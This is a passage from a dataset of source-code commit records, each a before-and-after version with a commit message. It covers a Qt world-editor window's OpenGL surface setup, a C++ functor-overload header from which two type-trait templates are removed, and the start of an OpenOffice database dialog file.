text.erase(pos, find.length());\n            text.insert(pos, replace);\n            pos+=replace.length();\n        }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (C) 2016-2020 Rodrigo Jose Hernandez Cordoba\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#include <QFileDialog>\n#include <QMdiSubWindow>\n#include <QSurfaceFormat>\n#include \"aeongames\/Renderer.h\"\n#include \"WorldEditor.h\"\n#include \"MainWindow.h\"\n#include \"SceneWindow.h\"\n#include \"EngineWindow.h\"\n#include \"CameraSettings.h\"\n\nnamespace AeonGames\n{\n    MainWindow::MainWindow() : QMainWindow(), Ui::MainWindow()\n    {\n        setupUi ( this );\n        QSurfaceFormat surface_format = QSurfaceFormat::defaultFormat();\n        surface_format.setDepthBufferSize ( 24 );\n        surface_format.setSwapBehavior ( QSurfaceFormat::DoubleBuffer );\n        QSurfaceFormat::setDefaultFormat ( surface_format );\n        mCameraSettings = new CameraSettings ( this );\n        connect ( mCameraSettings, SIGNAL ( fieldOfViewChanged ( double ) ), this, SLOT ( fieldOfViewChanged ( double ) ) );\n        connect ( mCameraSettings, SIGNAL ( nearChanged ( double ) ), this, SLOT ( nearChanged ( double ) ) );\n        connect ( mCameraSettings, SIGNAL ( farChanged ( double ) ), this, SLOT ( farChanged ( double ) ) );\n    }\n\n    MainWindow::~MainWindow()\n    {\n        disconnect();\n        mCameraSettings->disconnect();\n        mCameraSettings->deleteLater();\n    }\n\n    void MainWindow::on_actionExit_triggered()\n    {\n        mdiArea->closeAllSubWindows();\n        for ( auto* i : mdiArea->subWindowList() )\n        {\n            delete i;\n        }\n        close();\n    }\n\n    void MainWindow::on_actionNew_triggered()\n    {\n        SceneWindow* sceneWindow;\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->addSubWindow ( sceneWindow = new SceneWindow ( mdiArea ) );\n        mdiSubWindow->setAttribute ( Qt::WA_DeleteOnClose );\n        mdiSubWindow->setWindowTitle ( tr ( \"Untitled Scene\" ) );\n        mdiSubWindow->showMaximized();\n        mdiSubWindow->setMinimumSize ( QSize ( 128, 128 ) );\n        actionSave->setEnabled ( true );\n    }\n\n    void MainWindow::on_actionOpen_triggered()\n    {\n        QString filename = QFileDialog::getOpenFileName ( this,\n                           tr ( \"Open Scene\" ),\n                           tr ( \"\" ),\n                           tr ( \"Scene Files (*.scn *.txt)\" ) );\n\n        if ( ! ( filename.isEmpty() || filename.isNull() ) )\n        {\n            QFileInfo fileinfo ( filename );\n            SceneWindow* sceneWindow;\n            QMdiSubWindow*\n            mdiSubWindow = mdiArea->addSubWindow ( sceneWindow = new SceneWindow ( mdiArea ) );\n            mdiSubWindow->setAttribute ( Qt::WA_DeleteOnClose );\n            mdiSubWindow->setWindowTitle ( fileinfo.absoluteFilePath() );\n            mdiSubWindow->showMaximized();\n            mdiSubWindow->setMinimumSize ( QSize ( 128, 128 ) );\n            sceneWindow->Open ( fileinfo.absoluteFilePath().toStdString() );\n            \/** @todo handle open failure. *\/\n            actionSave->setEnabled ( true );\n        }\n    }\n\n    void MainWindow::on_actionSave_triggered()\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        QString filename = QFileDialog::getSaveFileName ( this,\n                           tr ( \"Save Scene\" ),\n                           tr ( \"\" ),\n                           tr ( \"Scene Files (*.scn *.txt)\" ) );\n        if ( ! ( filename.isEmpty() || filename.isNull() ) )\n        {\n            SceneWindow* sceneWindow = reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() );\n            if ( sceneWindow )\n            {\n                sceneWindow->Save ( filename.toStdString() );\n            }\n        }\n    }\n\n    void MainWindow::on_actionCamera_triggered()\n    {\n        mCameraSettings->show();\n    }\n\n    void MainWindow::fieldOfViewChanged ( double aFieldOfView )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetFieldOfView ( static_cast<float> ( aFieldOfView ) );\n    }\n\n    void MainWindow::nearChanged ( double aNear )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetNear ( static_cast<float> ( aNear ) );\n    }\n\n    void MainWindow::farChanged ( double aFar )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetFar ( static_cast<float> ( aFar ) );\n    }\n}\n<commit_msg>Added more detailed setup for Qt's surface format.<commit_after>\/*\nCopyright (C) 2016-2021 Rodrigo Jose Hernandez Cordoba\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#include <QFileDialog>\n#include <QMdiSubWindow>\n#include <QSurfaceFormat>\n#include \"aeongames\/Renderer.h\"\n#include \"WorldEditor.h\"\n#include \"MainWindow.h\"\n#include \"SceneWindow.h\"\n#include \"EngineWindow.h\"\n#include \"CameraSettings.h\"\n\nnamespace AeonGames\n{\n    MainWindow::MainWindow() : QMainWindow(), Ui::MainWindow()\n    {\n        setupUi ( this );\n        QSurfaceFormat surface_format = QSurfaceFormat::defaultFormat();\n\n        surface_format.setColorSpace ( QSurfaceFormat::sRGBColorSpace );\n        surface_format.setRenderableType ( QSurfaceFormat::OpenGL );\n        surface_format.setSwapBehavior ( QSurfaceFormat::DoubleBuffer );\n        surface_format.setRedBufferSize ( 8 );\n        surface_format.setGreenBufferSize ( 8 );\n        surface_format.setBlueBufferSize ( 8 );\n        surface_format.setAlphaBufferSize ( 8 );\n        surface_format.setStencilBufferSize ( 8 );\n        surface_format.setDepthBufferSize ( 24 );\n        \/\/surface_format.setSamples ( ? ); \/\/\/@< Find out what is a sensible value for multisampling\n        QSurfaceFormat::setDefaultFormat ( surface_format );\n        mCameraSettings = new CameraSettings ( this );\n        connect ( mCameraSettings, SIGNAL ( fieldOfViewChanged ( double ) ), this, SLOT ( fieldOfViewChanged ( double ) ) );\n        connect ( mCameraSettings, SIGNAL ( nearChanged ( double ) ), this, SLOT ( nearChanged ( double ) ) );\n        connect ( mCameraSettings, SIGNAL ( farChanged ( double ) ), this, SLOT ( farChanged ( double ) ) );\n    }\n\n    MainWindow::~MainWindow()\n    {\n        disconnect();\n        mCameraSettings->disconnect();\n        mCameraSettings->deleteLater();\n    }\n\n    void MainWindow::on_actionExit_triggered()\n    {\n        mdiArea->closeAllSubWindows();\n        for ( auto* i : mdiArea->subWindowList() )\n        {\n            delete i;\n        }\n        close();\n    }\n\n    void MainWindow::on_actionNew_triggered()\n    {\n        SceneWindow* sceneWindow;\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->addSubWindow ( sceneWindow = new SceneWindow ( mdiArea ) );\n        mdiSubWindow->setAttribute ( Qt::WA_DeleteOnClose );\n        mdiSubWindow->setWindowTitle ( tr ( \"Untitled Scene\" ) );\n        mdiSubWindow->showMaximized();\n        mdiSubWindow->setMinimumSize ( QSize ( 128, 128 ) );\n        actionSave->setEnabled ( true );\n    }\n\n    void MainWindow::on_actionOpen_triggered()\n    {\n        QString filename = QFileDialog::getOpenFileName ( this,\n                           tr ( \"Open Scene\" ),\n                           tr ( \"\" ),\n                           tr ( \"Scene Files (*.scn *.txt)\" ) );\n\n        if ( ! ( filename.isEmpty() || filename.isNull() ) )\n        {\n            QFileInfo fileinfo ( filename );\n            SceneWindow* sceneWindow;\n            QMdiSubWindow*\n            mdiSubWindow = mdiArea->addSubWindow ( sceneWindow = new SceneWindow ( mdiArea ) );\n            mdiSubWindow->setAttribute ( Qt::WA_DeleteOnClose );\n            mdiSubWindow->setWindowTitle ( fileinfo.absoluteFilePath() );\n            mdiSubWindow->showMaximized();\n            mdiSubWindow->setMinimumSize ( QSize ( 128, 128 ) );\n            sceneWindow->Open ( fileinfo.absoluteFilePath().toStdString() );\n            \/** @todo handle open failure. *\/\n            actionSave->setEnabled ( true );\n        }\n    }\n\n    void MainWindow::on_actionSave_triggered()\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        QString filename = QFileDialog::getSaveFileName ( this,\n                           tr ( \"Save Scene\" ),\n                           tr ( \"\" ),\n                           tr ( \"Scene Files (*.scn *.txt)\" ) );\n        if ( ! ( filename.isEmpty() || filename.isNull() ) )\n        {\n            SceneWindow* sceneWindow = reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() );\n            if ( sceneWindow )\n            {\n                sceneWindow->Save ( filename.toStdString() );\n            }\n        }\n    }\n\n    void MainWindow::on_actionCamera_triggered()\n    {\n        mCameraSettings->show();\n    }\n\n    void MainWindow::fieldOfViewChanged ( double aFieldOfView )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetFieldOfView ( static_cast<float> ( aFieldOfView ) );\n    }\n\n    void MainWindow::nearChanged ( double aNear )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetNear ( static_cast<float> ( aNear ) );\n    }\n\n    void MainWindow::farChanged ( double aFar )\n    {\n        QMdiSubWindow*\n        mdiSubWindow = mdiArea->currentSubWindow ();\n        if ( !mdiSubWindow )\n        {\n            return;\n        }\n        reinterpret_cast<SceneWindow*> ( mdiSubWindow->widget() )->SetFar ( static_cast<float> ( aFar ) );\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>phastaIO: use high resolution timers<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/functor_overload header\n\/\/Copyright (c) 2014 mmYYmmdd\n\n#if !defined MMYYMMDD_FUNCTOR_OVERLOAD_INCLUDED\n#define MMYYMMDD_FUNCTOR_OVERLOAD_INCLUDED\n\n#include <type_traits>\n\nnamespace mymd {\n\n\tnamespace detail_fo\t{\n\n\t\ttemplate <typename>\n\t\tstruct noCondition\t{\n\t\t\tstatic constexpr bool value = true;\n\t\t};\n\n\t\ttemplate <template <typename> class C = noCondition, bool B = true>\n\t\tstruct cond\t{ };\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename...>\n\t\tstruct types  { };\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename T, typename>\n\t\tstruct arg  {\n\t\t\tusing apply = std::enable_if<true, T>;\n\t\t};\n\t\t\n\t\ttemplate <template <typename> class C, bool B, typename V>\n\t\tstruct arg<cond<C, B>, V>  {\n\t\t\tusing apply = std::enable_if<B == C<V>::value, V>;\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\tstruct no_action\t{\n\t\t\tconstexpr no_action() { }\n\t\t\ttemplate <typename... V>\n\t\t\tvoid operator ()(V&&...) const {}\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename F, typename... A>\n\t\tclass bolt  {\n\t\t\tF fn;\n\t\t\ttemplate <typename T, typename U>\t\/\/workaround for VC\n\t\t\tusing apply = typename arg<T, U>::apply;\n\t\tprotected:\n\t\t\ttemplate <typename... V>\n\t\t\tauto invoke(types<V...>, typename arg<A, V>::apply::type&&... a) const\n\t\t\t\t->decltype(fn(std::declval<typename apply<A, V>::type>()...))\n\t\t\t\t{  return fn(std::forward<typename apply<A, V>::type>(a) ...);  }\n\t\t\ttemplate <typename... V>\n\t\t\tauto invoke(types<V...>, typename arg<A, V>::apply::type&&... a)\n\t\t\t\t->decltype(fn(std::declval<typename apply<A, V>::type>()...))\n\t\t\t\t{  return fn(std::forward<typename apply<A, V>::type>(a) ...);  }\n\t\tpublic:\n\t\t\tconstexpr bolt(const F& f) : fn(f)  {  }\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename T1, typename T2>\n\t\tstruct bolts : private T1, private T2  {\n\t\t\tusing T1::operator ();\n\t\t\tusing T2::operator ();\n\t\t\tconstexpr bolts(const T1& t1, const T2& t2) : T1(t1), T2(t2) { }\n\t\t};\n\n\t\ttemplate <typename F, typename... A>\n\t\tclass bolts<bolt<F, A...>, void> : private bolt<F, A...>  {\n\t\t\tusing bolt<F, A...>::invoke;\n\t\tpublic:\n\t\t\tconstexpr bolts(const F& t) : bolt<F, A...>(t) { }\n\t\t\ttemplate <typename... V>\n\t\t\tauto operator()(V&&... v) const->decltype(invoke(types<V...>{}, std::declval<V>()...))\n\t\t\t\t{  return invoke(types<V...>{}, std::forward<V>(v)...);  }\n\t\t\ttemplate <typename... V>\n\t\t\tauto operator()(V&&... v) ->decltype(invoke(types<V...>{}, std::declval<V>()...))\n\t\t\t\t{  return invoke(types<V...>{}, std::forward<V>(v)...);  }\n\t\t};\n\n\t\ttemplate <typename T1, typename T2, typename U1, typename U2>\n\t\tauto operator +(bolts<T1, T2> const& b, bolts<U1, U2> const& c) ->bolts<bolts<T1, T2>, bolts<U1, U2>>\n\t\t{\n\t\t\treturn bolts<bolts<T1, T2>, bolts<U1, U2>>(b, c);\n\t\t}\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename F, typename... A>\n\t\tusing gen_t = bolts<bolt<typename std::conditional<std::is_same<F, void>::value, no_action, F>::type, A...>, void>;\n\n\t}\t\/\/namespace detail_fo\n\t\/\/********************************************************************\n\t\/\/  user interfaces are ,\n\t\/\/  mymd::gen<A, B, C...>(Fn)  ,  mymd::cond<P>  ,  operator +\n\t\/\/********************************************************************\n\tusing detail_fo::cond;\t\t\/\/  condition for type\n\tusing detail_fo::bolts;\t\t\/\/  functor type\n\tusing detail_fo::gen_t;\t\t\/\/  functor type generated by 'gen'\n\n\ttemplate <typename... A, typename F>\n\tauto gen(const F& f) ->gen_t<F, A...>\n\t{\treturn gen_t<F, A...>(f);\t}\n\n\t\/\/no action\n\ttemplate <typename... A>\n\tauto gen() ->gen_t<void, A...>\n\t{\treturn gen_t<void, A...>(detail_fo::no_action{});\t}\n\n}\t\/\/namespace mymd\n\nnamespace mymd {\n\t\/\/----------------------------------\n\t\/\/template <typename T>\n\t\/\/using is_xxx = mymd::is_some_rr<std::is_yyyy, std::is_zzzz>::apply<T>;\n\t\/\/using is_xxx = mymd::is_every_rr<std::is_yyyy, std::is_zzzz>::apply<T>;\n\n\ttemplate <template <typename> class first, template <typename> class... tail>\n\tstruct is_some_rr\t{\n\t\ttemplate <typename T>\n\t\tstruct apply\t{\n\t\t\tusing T2 = typename std::remove_reference<T>::type;\n\t\t\tstatic constexpr bool value = first<T2>::value || is_some_rr<tail...>::template apply<T>::value;\n\t\t};\n\t};\n\n\ttemplate <template <typename> class first>\n\tstruct is_some_rr<first>\t{\n\t\ttemplate <typename T>\n\t\tstruct apply\t{\n\t\t\tusing T2 = typename std::remove_reference<T>::type;\n\t\t\tstatic constexpr bool value = first<T2>::value;\n\t\t};\n\t};\n\n\ttemplate <template <typename> class first, template <typename> class... tail>\n\tstruct is_every_rr\t{\n\t\ttemplate <typename T>\n\t\tstruct apply\t{\n\t\t\tusing T2 = typename std::remove_reference<T>::type;\n\t\t\tstatic constexpr bool value = first<T2>::value && is_every_rr<tail...>::template apply<T>::value;\n\t\t};\n\t};\n\n\ttemplate <template <typename> class first>\n\tstruct is_every_rr<first>\t{\n\t\ttemplate <typename T>\n\t\tstruct apply\t{\n\t\t\tusing T2 = typename std::remove_reference<T>::type;\n\t\t\tstatic constexpr bool value = first<T2>::value;\n\t\t};\n\t};\n}\t\/\/namespace mymd\n\n#endif\n<commit_msg>is_some_rr と is_every_rr を削除<commit_after>\/\/functor_overload header\n\/\/Copyright (c) 2014 mmYYmmdd\n\n#if !defined MMYYMMDD_FUNCTOR_OVERLOAD_INCLUDED\n#define MMYYMMDD_FUNCTOR_OVERLOAD_INCLUDED\n\n#include <type_traits>\n\nnamespace mymd {\n\n\tnamespace detail_fol\t{\n\n\t\ttemplate <typename>\n\t\tstruct noCondition\t{\n\t\t\tstatic constexpr bool value = true;\n\t\t};\n\n\t\ttemplate <template <typename> class C = noCondition, bool B = true>\n\t\tstruct cond\t{ };\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename...>\n\t\tstruct types  { };\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename T, typename>\n\t\tstruct arg  {\n\t\t\tusing apply = std::enable_if<true, T>;\n\t\t};\n\t\t\n\t\ttemplate <template <typename> class C, bool B, typename V>\n\t\tstruct arg<cond<C, B>, V>  {\n\t\t\tusing apply = std::enable_if<B == C<V>::value, V>;\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\tstruct no_action\t{\n\t\t\tconstexpr no_action() { }\n\t\t\ttemplate <typename... V>\n\t\t\tvoid operator ()(V&&...) const {}\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename F, typename... A>\n\t\tclass bolt  {\n\t\t\tF fn;\n\t\t\ttemplate <typename T, typename U>\t\/\/workaround for VC\n\t\t\tusing apply = typename arg<T, U>::apply;\n\t\tprotected:\n\t\t\ttemplate <typename... V>\n\t\t\tauto invoke(types<V...>, typename arg<A, V>::apply::type&&... a) const\n\t\t\t\t->decltype(fn(std::declval<typename apply<A, V>::type>()...))\n\t\t\t\t{  return fn(std::forward<typename apply<A, V>::type>(a) ...);  }\n\t\t\ttemplate <typename... V>\n\t\t\tauto invoke(types<V...>, typename arg<A, V>::apply::type&&... a)\n\t\t\t\t->decltype(fn(std::declval<typename apply<A, V>::type>()...))\n\t\t\t\t{  return fn(std::forward<typename apply<A, V>::type>(a) ...);  }\n\t\tpublic:\n\t\t\tconstexpr bolt(const F& f) : fn(f)  {  }\n\t\t};\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename T1, typename T2>\n\t\tstruct bolts : private T1, private T2  {\n\t\t\tusing T1::operator ();\n\t\t\tusing T2::operator ();\n\t\t\tconstexpr bolts(const T1& t1, const T2& t2) : T1(t1), T2(t2) { }\n\t\t};\n\n\t\ttemplate <typename F, typename... A>\n\t\tclass bolts<bolt<F, A...>, void> : private bolt<F, A...>  {\n\t\t\tusing bolt<F, A...>::invoke;\n\t\tpublic:\n\t\t\tconstexpr bolts(const F& t) : bolt<F, A...>(t) { }\n\t\t\ttemplate <typename... V>\n\t\t\tauto operator()(V&&... v) const->decltype(invoke(types<V...>{}, std::declval<V>()...))\n\t\t\t\t{  return invoke(types<V...>{}, std::forward<V>(v)...);  }\n\t\t\ttemplate <typename... V>\n\t\t\tauto operator()(V&&... v) ->decltype(invoke(types<V...>{}, std::declval<V>()...))\n\t\t\t\t{  return invoke(types<V...>{}, std::forward<V>(v)...);  }\n\t\t};\n\n\t\ttemplate <typename T1, typename T2, typename U1, typename U2>\n\t\tauto operator +(bolts<T1, T2> const& b, bolts<U1, U2> const& c) ->bolts<bolts<T1, T2>, bolts<U1, U2>>\n\t\t{\n\t\t\treturn bolts<bolts<T1, T2>, bolts<U1, U2>>(b, c);\n\t\t}\n\t\t\/\/-----------------------------------------------------\n\t\ttemplate <typename F, typename... A>\n\t\tusing gen_t = bolts<bolt<typename std::conditional<std::is_same<F, void>::value, no_action, F>::type, A...>, void>;\n\n\t}\t\/\/namespace detail_fol\n\t\/\/********************************************************************\n\t\/\/  user interfaces are ,\n\t\/\/  mymd::gen<A, B, C...>(Fn)  ,  mymd::cond<P>  ,  operator +\n\t\/\/********************************************************************\n\tusing detail_fol::cond;\t\t\/\/  condition for type\n\tusing detail_fol::bolts;\t\t\/\/  functor type\n\tusing detail_fol::gen_t;\t\t\/\/  functor type generated by 'gen'\n\n\ttemplate <typename... A, typename F>\n\tauto gen(const F& f) ->gen_t<F, A...>\n\t{\treturn gen_t<F, A...>(f);\t}\n\n\t\/\/no action\n\ttemplate <typename... A>\n\tauto gen() ->gen_t<void, A...>\n\t{\treturn gen_t<void, A...>(detail_fol::no_action{});\t}\n\n}\t\/\/namespace mymd\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: composerdialogs.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2006-01-19 15:45:45 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef DBACCESS_SOURCE_UI_UNO_COMPOSERDIALOGS_HXX\n#include \"composerdialogs.hxx\"\n#endif\n\n\/** === begin UNO includes === **\/\n#ifndef _DBU_REGHELPER_HXX_\n#include \"dbu_reghelper.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_SDBCX_XCOLUMNSSUPPLIER_HPP_\n#include <com\/sun\/star\/sdbcx\/XColumnsSupplier.hpp>\n#endif\n\/** === end UNO includes === **\/\n#ifndef DBACCESS_SHARED_DBUSTRINGS_HRC\n#include \"dbustrings.hrc\"\n#endif\n#ifndef DBAUI_QUERYFILTER_HXX\n#include \"queryfilter.hxx\"\n#endif\n#ifndef DBAUI_QUERYORDER_HXX\n#include \"queryorder.hxx\"\n#endif\n#ifndef _CONNECTIVITY_DBTOOLS_HXX_\n#include <connectivity\/dbtools.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n\nextern \"C\" void SAL_CALL createRegistryInfo_ComposerDialogs()\n{\n    static ::dbaui::OMultiInstanceAutoRegistration< ::dbaui::RowsetOrderDialog > aOrderDialogRegistration;\n    static ::dbaui::OMultiInstanceAutoRegistration< ::dbaui::RowsetFilterDialog > aFilterDialogRegistration;\n}\n\n\/\/.........................................................................\nnamespace dbaui\n{\n\/\/.........................................................................\n\n#define PROPERTY_ID_QUERYCOMPOSER       100\n#define PROPERTY_ID_ROWSET              101\n\n    IMPLEMENT_CONSTASCII_USTRING( PROPERTY_QUERYCOMPOSER,   \"QueryComposer\" );\n    IMPLEMENT_CONSTASCII_USTRING( PROPERTY_ROWSET,          \"RowSet\" );\n\n    using namespace ::com::sun::star::uno;\n    using namespace ::com::sun::star::lang;\n    using namespace ::com::sun::star::beans;\n    using namespace ::com::sun::star::container;\n    using namespace ::com::sun::star::sdbcx;\n    using namespace ::com::sun::star::sdbc;\n    using namespace ::com::sun::star::sdb;\n\n    \/\/=====================================================================\n    \/\/= ComposerDialog\n    \/\/=====================================================================\nDBG_NAME(ComposerDialog)\n\/\/---------------------------------------------------------------------\n    ComposerDialog::ComposerDialog(const Reference< XMultiServiceFactory >& _rxORB)\n        :ComposerDialog_BASE( _rxORB )\n    {\n        DBG_CTOR(ComposerDialog,NULL);\n\n        registerProperty( PROPERTY_QUERYCOMPOSER, PROPERTY_ID_QUERYCOMPOSER, PropertyAttribute::TRANSIENT,\n            &m_xComposer, ::getCppuType( &m_xComposer ) );\n        registerProperty( PROPERTY_ROWSET, PROPERTY_ID_ROWSET, PropertyAttribute::TRANSIENT,\n            &m_xRowSet, ::getCppuType( &m_xRowSet ) );\n    }\n\n    \/\/---------------------------------------------------------------------\n    ComposerDialog::~ComposerDialog()\n    {\n\n        DBG_DTOR(ComposerDialog,NULL);\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_IMPLEMENTATION_ID( ComposerDialog )\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_PROPERTYCONTAINER_DEFAULTS( ComposerDialog )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* ComposerDialog::createDialog(Window* _pParent)\n    {\n        \/\/ obtain all the objects needed for the dialog\n        Reference< XConnection > xConnection;\n        Reference< XNameAccess > xColumns;\n        try\n        {\n            \/\/ the connection the row set is working with\n            if ( !::dbtools::isEmbeddedInDatabase( m_xRowSet, xConnection ) )\n            {\n                Reference< XPropertySet > xRowsetProps( m_xRowSet, UNO_QUERY );\n                if ( xRowsetProps.is() )\n                    xRowsetProps->getPropertyValue( PROPERTY_ACTIVECONNECTION ) >>= xConnection;\n            }\n\n            \/\/ fallback: if there is a connection and thus a row set, but no composer, create one\n            if ( xConnection.is() && !m_xComposer.is() )\n                m_xComposer = ::dbtools::getCurrentSettingsComposer( Reference< XPropertySet >( m_xRowSet, UNO_QUERY ), m_xORB );\n\n            \/\/ the columns of the row set\n            Reference< XColumnsSupplier > xSuppColumns( m_xRowSet, UNO_QUERY );\n            if ( xSuppColumns.is() )\n                xColumns = xSuppColumns->getColumns();\n\n            if ( !xColumns.is() || !xColumns->hasElements() )\n            {   \/\/ perhaps the composer can supply us with columns? This is necessary for cases\n                \/\/ where the dialog is invoked for a rowset which is not yet loaded\n                \/\/ #i22878# - 2003-12-16 - fs@openoffice.org\n                xSuppColumns = xSuppColumns.query( m_xComposer );\n                if ( xSuppColumns.is() )\n                    xColumns = xSuppColumns->getColumns();\n            }\n\n            DBG_ASSERT( xColumns.is() && xColumns->hasElements(), \"ComposerDialog::createDialog: not much fun without any columns!\" );\n        }\n        catch( const Exception& )\n        {\n            OSL_ENSURE( sal_False, \"ComposerDialog::createDialog: caught an exception!\" );\n        }\n\n        if ( !xConnection.is() || !xColumns.is() || !m_xComposer.is() )\n            \/\/ can't create the dialog if I have improper settings\n            return NULL;\n\n        return createComposerDialog( _pParent, xConnection, xColumns );\n    }\n\n    \/\/=====================================================================\n    \/\/= RowsetFilterDialog\n    \/\/=====================================================================\n    \/\/---------------------------------------------------------------------\n    RowsetFilterDialog::RowsetFilterDialog( const Reference< XMultiServiceFactory >& _rxORB )\n        :ComposerDialog( _rxORB )\n    {\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_SERVICE_INFO1_STATIC( RowsetFilterDialog, \"com.sun.star.uno.comp.sdb.RowsetFilterDialog\", \"com.sun.star.sdb.FilterDialog\" )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* RowsetFilterDialog::createComposerDialog( Window* _pParent, const Reference< XConnection >& _rxConnection, const Reference< XNameAccess >& _rxColumns )\n    {\n        return new DlgFilterCrit( _pParent, m_xORB, _rxConnection, m_xComposer, _rxColumns );\n    }\n\n    \/\/---------------------------------------------------------------------\n    void RowsetFilterDialog::executedDialog( sal_Int16 _nExecutionResult )\n    {\n        ComposerDialog::executedDialog( _nExecutionResult );\n\n        if ( _nExecutionResult && m_pDialog )\n            static_cast< DlgFilterCrit* >( m_pDialog )->BuildWherePart();\n    }\n\n    \/\/=====================================================================\n    \/\/= RowsetOrderDialog\n    \/\/=====================================================================\n    \/\/---------------------------------------------------------------------\n    RowsetOrderDialog::RowsetOrderDialog( const Reference< XMultiServiceFactory >& _rxORB )\n        :ComposerDialog( _rxORB )\n    {\n    }\n\n    \/\/---------------------------------------------------------------------\n    IMPLEMENT_SERVICE_INFO1_STATIC( RowsetOrderDialog, \"com.sun.star.uno.comp.sdb.RowsetOrderDialog\", \"com.sun.star.sdb.OrderDialog\" )\n\n    \/\/---------------------------------------------------------------------\n    Dialog* RowsetOrderDialog::createComposerDialog( Window* _pParent, const Reference< XConnection >& _rxConnection, const Reference< XNameAccess >& _rxColumns )\n    {\n        return new DlgOrderCrit( _pParent, _rxConnection, m_xComposer, _rxColumns );\n    }\n\n    \/\/---------------------------------------------------------------------\n    void RowsetOrderDialog::executedDialog( sal_Int16 _nExecutionResult )\n    {\n        ComposerDialog::executedDialog( _nExecutionResult );\n\n        if ( !m_pDialog )\n            return;\n\n        if ( _nExecutionResult )\n            static_cast< DlgOrderCrit* >( m_pDialog )->BuildOrderPart();\n        else if ( m_xComposer.is() )\n            m_xComposer->setOrder( static_cast< DlgOrderCrit* >( m_pDialog )->GetOrignalOrder() );\n    }\n\n\/\/.........................................................................\n}   \/\/ namespace dbaui\n\/\/.........................................................................\n\n\n<commit_msg>INTEGRATION: CWS dba203b (1.6.44); FILE MERGED 2006\/03\/27 14:11:35 fs 1.6.44.1: #i63439# correct parsing of existing sort order<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: composerdialogs.cxx,v $\n *\n *  